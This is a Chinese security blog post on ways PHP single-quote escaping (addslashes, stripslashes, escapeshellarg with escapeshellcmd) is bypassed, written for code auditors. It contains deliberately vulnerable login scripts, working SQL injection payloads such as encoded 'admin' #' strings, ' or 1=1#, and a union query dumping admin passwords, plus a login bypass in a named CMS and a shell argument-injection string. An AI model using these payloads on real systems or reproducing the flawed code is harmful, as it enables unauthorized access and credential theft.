<
注入-单引号过滤家族的一次次bypass
>
上一篇

绕过CDN查找网站真实IP
下一篇

护网杯-easy laravel-Writeup

注入-单引号过滤家族的一次次bypass

在渗透测试与代码审计中,相信会遇到很多网站或源码对单引号进行了过滤或处理而无法继续注入的问题,但是在某些场合中(如:编码解码,过滤函数使用不当)以及特殊情况下,等导致单引号逃逸,addslashes过滤函数被绕过等问题。我们能利用单引号继续我们的注入,达到SQL注入,命令执行的作用。

过滤函数

addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(’)、双引号(”)、反斜线(\)与NUL(NULL字符)。

escapeshellcmd() — shell 元字符转义

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: ***&#;` *?~<>^()[]{}$*, ***\x0A* 和 *\xFF*‘*“* 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 *%* 和 *!* 字符都会被空格代替。

escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(),system() 执行运算符(反引号) 定义 :string escapeshellarg ( string $arg )

其他内置函数

1编码解码导致的绕过

下面几种情况差不多,都是因为字符串在带入查询前,被做了一些编码解码操作没有再做一次过滤,导致绕过了addslashes的过滤(其实可以绕过各种防注入,不仅仅是addslashes),这种案例我在审代码的过程中还是遇过一些的。

1.1url解码导致绕过addslashes

<?php
if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
	{
	        die();
}
	$link=mysql_connect("localhost","root","root");
	mysql_query("SET NAMES 'gbk'");
	mysql_select_db("test",$link);
	$username=$_REQUEST['username'];
	$username=addslashes($username);
	$username=urldecode($username);
	$password=md5($_REQUEST['password']);
	$sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
	$query=mysql_query($sql);
	$res=mysql_fetch_array($query);
	$count=$res['num'];
	if($count==1)
	{
        echo "login success";
	}
	else
	{
	        echo "login failed";
	}
     ?>

http://127.0.0.1/qclover/login1.php?username=%2561%2564%256d%2569%256e%2527%2520%2523&password=test  访问后发现登录成功了

1540113417290

%2561%2564%256d%2569%256e%2527%2520%2523

是做了两次编码的

admin’ #,

之所以要做两次编码是因为web服务器会自动对从$_GET过来的数据解码一次,要编码两次

$username=addslashes($username);

$username=urldecode($username);

虽然在做了addslashes来转义引号,但是下面一行代码用了urldecode来对$username做解码,所以可以利用url编码来绕过过滤 看看数据库执行记录,确实被解码了。

1540114652792

1.2base64解码导致绕过addslashes

和url解码绕过差不多是一回事

<?php
if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
{
        die();
	}
$link=mysql_connect("localhost","root","root");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("test",$link);
$username=$_REQUEST['username'];
$username=addslashes($username);
$username=base64_decode($username);
$password=md5($_REQUEST['password']);
$sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
$query=mysql_query($sql);
$res=mysql_fetch_array($query);
$count=$res['num'];
if($count==1)
 {
	echo "login success";
}
	else{
	        echo "login failed";
}
?>

$username=addslashes($username); $username=base64_decode($username); 也是因为解码后没有在过滤,导致base64编码绕过

img

http://127.0.0.1/qclover/login1.php?username=YWRtaW4nICM=&password=test

1540116446928

登录成功 看看数据库执行记录,确实被解码了

1540116645657

1.3json编码导致绕过addslashes

json编码绕过addslashes是因为json编码会把\转换为
admin’ # 被addslashes会变成admin' # 引号被过滤了转移不了

<?php
$str=$_GET['str'];
$str=addslashes($str);
echo json_encode($str);
?>

但是经过了json_encode后变成admin\’ # 引号成功逃了出来,可以注入了

如下图:

1540116906745

	<?php
	if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
	{
	        die();
	}
    $link=mysql_connect("localhost","root","root");
	mysql_query("SET NAMES 'gbk'");
	mysql_select_db("test",$link);
	$username=$_REQUEST['username'];
	$username=addslashes($username);
	$username=json_encode($username);
	$password=md5($_REQUEST['password']);
	$sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
	$query=mysql_query($sql);
    $res=mysql_fetch_array($query);
	$count=$res['num'];
	if($count==1)
	{
	        echo "login success";
	}
	else
	{
        echo "login failed";
	}
	?>

http://127.0.0.1/qclover/login3.php?username=admin%27%20or%201=1%20%23&password=test 访问后发现登录成功,查看数据库执行记录可以看到\被转换为\\

1540117232007

1540117311755

2特定场合下addslashes函数的绕过

2.1str_replace字符替换导致的绕过addslashes

这种情况也看过一些案例,程序在带入程序之前把字符串的某些字符做了替换,而替换的字符中出现了一些\ ‘ 导致了注入的绕过,比如下面这样 :

	<?php
	if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
	{
	        die();
	}
	$link=mysql_connect("localhost","root","root");
	mysql_query("SET NAMES 'gbk'");
	mysql_select_db("test",$link);
	$username=$_REQUEST['username'];
	$username=addslashes($username);
	$username=str_replace(array("\\","/"," "),array("","",""),$username);
	$password=md5($_REQUEST['password']);
	$sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
	$query=mysql_query($sql);
	$res=mysql_fetch_array($query);
	$count=$res['num'];
	if($count==1)
	{
	        echo "login success";
	}
	else
	{
	        echo "login failed";
	}
	?>

http://127.0.0.1/qclover/login4.php?username=admin%27%20%23&password=test 访问,发现登录成功,这里之所以可以绕过addslashes是因为前面做了$username=str_replace(array(“\”,”/”,” “),array(“”,””,””),$username); 把addslashes后的' 变成了’,闭合成功,逃出引号注入。

1540118001760

1540117925897

2.2使用了stripslashes

stripslashes这个函数的定义是删除由addslashes() 函数添加的反斜杠,所以很明显使用不当的话就会引发SQL注入。缺陷代码如下:

<?php
  #require_once('common.php');
  $conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
  $tmp_id = isset($_GET['id']) ? $_GET['id'] : 1;
  $tmp_id=addslashes($tmp_id );
  $id = stripslashes($tmp_id);
  $sql = "SELECT * FROM news WHERE id='{$id}'";
  echo$sql.'<br />';
  $result = mysql_query($sql, $conn) or die(mysql_error()); 
  ?>

浏览器输入”http://localhost/qclover/stripslashes.php?id=-1’“,发现报错了,echo出执行的sql语句如下图:

1540119203143

分析下参数id的执行过程,-1’经过addslashes函数转义后变成了-1\’,然后再经过stripslashes函数干掉了反斜杠变成了-1’,所以又可以愉快的注入了。 获取管理员账户密码的语句”http://localhost/qclover/stripslashes.php?id=-1‘union select 1,2,concat(name,0x23,pass) from admin%23”

1540120738915

数据库执行记录如下:

1540120863622

2.3substr — 返回字符串的子串

substr — 返回字符串的子串

string substr ( string $string , int $start [, int $length ] )

作用:返回字符串 stringstartlength 参数指定的子字符串。

我们来看个例子:

这道题代码如下:

20181009152136-f4caae84-cb93-1

substr函数部分代码如下

IMG_256

我们知道反斜杠可以取消特殊字符的用法,而注入想要通过单引号闭合,在这道题里势必会引入反斜杠。所以我们就可以在反斜杠与单引号之间截断进行截断,我们看个以下这个例子。

IMG_257

在这个例子中,能够顺利地通过截断并使input = ‘1234567890123456789' 最后这个单引号便失去了它的作用 ,由此最终以上代码中的payload为:

user=1234567890123456789'&passwd=or 1=1#

顺利地通过验证 。这道题的具体分析可参考:Day13 - 特定场合下addslashes函数的绕过

2.4其他情况–内置函数Replace_Text()使用不当

内置的安全函数:Replace_Text(),在某些cms上作为主要的安全函数,稍后会讲到。

Replace_Text():该函数会对单引号进行安全转义操作,但是不处理反斜杠与双引号。

存在利用的场合有:

1)内置函数使用了addslashes 对POST等输入进行处理的情况下后但有出现Replace_Txt进行过滤处理。

2)全局使用了包含Replace_Txt的内置安全函数,但又在代码中单独重复使用Replace_Txt,导致单引号逃逸。

下面引入一个审计出现此漏洞的一个CMS(SCMS3.0):

版本:企业建站系统 PHP版 V3.0 build20181007

[下载地址](https://www.s-cms.cn/download.html?code=php )

0x1:该套CMS程序中获取用户输入有关的函数主要有以下几种:

$_GET:该方式获取到的数据不会过滤双引号与反斜杠,但是存在单引号就拦截。

$_POST:该方式获取到的数据会对单引号,双引号,反斜杠进行安全转义处理。

$_REQUEST:该方式通过GET方式传参效果同$_GET一样,但是在POST方式下传参不做任何处理

该套CMS内置的主要安全函数为:Replace_Text,对单引号进行转义操作。

其中在该CMS中,由于对该函数使用不当,造成会员登录处存在SQL注入,可以直接万能密码登录:

漏洞文件:\member\member_login.php

img_05261539566965

可以看到$M_login=Replace_Text($_POST[“M_login”]);获取的$M_login变量直接拼接进入了sql执行语句,通过上面对$_POST,Replace_Text的安全分析知道,当我们传入一个’的时候,经过$_POST后被处理为\’,再同时在经过Replace_Text函数的时候就处理成了\\’,这样就导致了单引号逃逸。

输入用户名:’or 1=1#

密码:随意

即可成功登录会员。

20181030000402.jpg

3.escapeshellarg与escapeshellcmd使用不当

 escapeshellcmd() 和 escapeshellarg 一起使用,会造成特殊字符逃逸,下面通过个简单例子理解一下:

1540123498031

1540123844746

详细分析一下这个过程:

传入的参数是

127.0.0.1' -v -d a=1

由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:

接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 以及 a=1' 中的单引号进行转义处理,结果如下所示:

'127.0.0.1'\\'' -v -d a=1\'

由于第三步处理之后的payload中的 \\ 被解释成了 \ 而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:

1540123924980


所以这个payload可以简化为 curl 127.0.0.1\ -v -d a=1’ ,即向 127.0.0.1\ 发起请求,POST 数据为 a=1’ 。

总结一下,造成以上问题实际上是由于调用的 escapeshellcmd() 函数处理字符串,再结合 escapeshellarg() 函数,最终实现参数逃逸,导致 远程代码执行

Top
Foot